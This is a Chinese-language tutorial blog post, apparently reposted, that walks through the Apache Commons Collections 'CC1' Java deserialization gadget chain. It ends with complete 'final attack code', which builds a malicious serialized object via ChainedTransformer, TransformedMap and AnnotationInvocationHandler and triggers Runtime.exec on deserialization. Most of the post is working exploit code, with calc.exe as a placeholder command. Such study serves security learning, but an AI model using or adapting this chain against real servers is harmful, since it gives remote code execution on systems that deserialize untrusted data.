CC链的前提是序列化和反序列化
序列化需要两个条件
该类必须实现java.io.Serlalizable接口
该类的所有属性必须是可序列化的,如果⼀个属性是不可序列化的,则属性必须标明是短暂的。
比如:static,transient 修饰的变量不可被序列化
不能new 一个Runtime类
package com.CC1; public class Demo { public static void main(String[] args) { Runtime runtime; runtime = new Runtime(); } }
Runtime是一个单例类,单例类是不能够进行new的。
CC链利用的类CC链的原理就是利用反射获取类,放到readObject方法中
transform接口: ConstantTransformer作用:获取class对象
关键是调用transform方法
package com.CC1; import org.apache.commons.collections.functors.ConstantTransformer; public class Demo01 { public static void main(String[] args) { ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);//通过ConstantTransformer这个方法来进行获取Runtime.class //相当于是你传入Runtime.class 下面就会返回这个类,传入什么返回什么 Object transform = constantTransformer.transform("null"); System.out.println(transform); System.out.println(transform.getClass().getName()); } }//作用:获取一个类的对象invokeTransformer
把一个对象转换为另一个对象
他最常用的构造方法需要传递三个参数
第一个是methodNmae,方法
第二个是class的类型(有字符型和int型等)
第三个是方法参数
举例:methodName:“exec”,new Class[]{String.class},new Object[]{cmd}
它的transform方法
就是该类接收一个对象,获取该对象的名称(通过ConstantTransformer),然后调用invoke方法传入三个参数。
那如何形成链呢
ChainedTransformer多 个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺 序调⽤⼀系列的变换。
package com.CC1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class Demo03 { public static void main(String[] args) { String cmd = "calc.exe"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}//获取到了getRuntime方法 ), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}//用invoke方法传递参数 ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; // 创建ChainedTransformer调⽤链对象 Transformer transformedChain = new ChainedTransformer(transformers); // 执⾏对象转换 *** 作 transformedChain.transform(null); } }
上面的三个类就能够连起来使用
- ConstantTransformer --> 把⼀个对象转换为常量,并返回 ->获取到了Runtime.classInvokerTransformer --> 通过反射,返回⼀个对象 -> 反射获取执行方法加入参数ChainedTransformer -->执⾏链式的Transformer⽅法 ->将反射包含的数组进行链式调用,从而连贯起来然后看那个对象能够接收ChainedTransformer方法
这个就是为了解决上面的第4步
由于我们得到的是ChainedTransformer,一个转换链,TransformedMap类提供将map和转换链绑定的构造函数,只需要添加数据至map中就会自动调用这个转换链执行payload。
这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值。很明显后者是一个常规 *** 作,极有可能被触发。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
Transformer实现类分别 绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。
我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时(调用TransformedMap的setValue/put/putAll中的任意方法),就会自动触发chainedtransformer。
package com.CC1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class Demo04 { public static void main(String[] args) { String cmd = "calc.exe"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; // 创建ChainedTransformer调⽤链对象 Transformer transformedChain = new ChainedTransformer(transformers); //创建Map对象 Map map = new HashMap(); map.put("value", "value"); // 使⽤TransformedMap创建⼀个含有恶意调⽤链的Transformer类的Map对象 Map transformedMap = TransformedMap.decorate(map, null, transformedChain); // transformedMap.put("v1", "v2");// 执⾏put也会触发transform // 遍历Map元素,并调⽤setValue⽅法 for (Object obj : transformedMap.entrySet()) { Map.Entry entry = (Map.Entry) obj; // setValue最终调⽤到InvokerTransformer的transform⽅法,从⽽触发Runtime命令执⾏调⽤链 entry.setValue("test"); } // System.out.println(transformedMap); } }
TransformedMap的条件
- 实现了java.io.Serializable接口;并且可以传入我们构建的TransformedMap对象;调用了TransformedMap中的setValue/put/putAll中的任意方法一个方法的类;
上面的漏洞触发条件仍然不够完美,需要服务端把我们传入的序列化内容反序列化为map,并对值进行修改。
之前也说过完美的反序列化漏洞还需要一个readobject复写点,使只要服务端执行了readObject函数就等于命令执行。
在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler。
LazyMap这里使用的map类是LazyMap类
因为里面的get方法正好符合put去调用transform的情况
public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
但是我们还需要一个类在反序列化的时候触发LazyMap类的get方法
借助AnnotationInvocationHandler类,通过AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues,也就是说我们要获得AnnotationInvocationHandler的构造器。
public Object invoke(Object var1, Method var2, Object[] var3) { Object var6 = this.memberValues.get(var4); }
AnnotationInvocationHandler中的invoke方法调用了get方法
通过反射将代理对象proxyMap传给AnnotationInvocationHandler的构造方法
最终攻击代码
public static void main(String[] args) throws Exception { //1.客户端构建攻击代码 //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina Map innerMap = new HashMap(); innerMap.put("value", "value"); //给予map数据转化链 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //反射机制调用AnnotationInvocationHandler类的构造函数 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); //取消构造函数修饰符限制 ctor.setAccessible(true); //获取AnnotationInvocationHandler类实例 Object instance = ctor.newInstance(Target.class, outerMap); //payload序列化写入文件,模拟网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(instance); //2.服务端读取文件,反序列化,模拟网络传输 FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi); //服务端反序列化 fin.readObject(); }
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)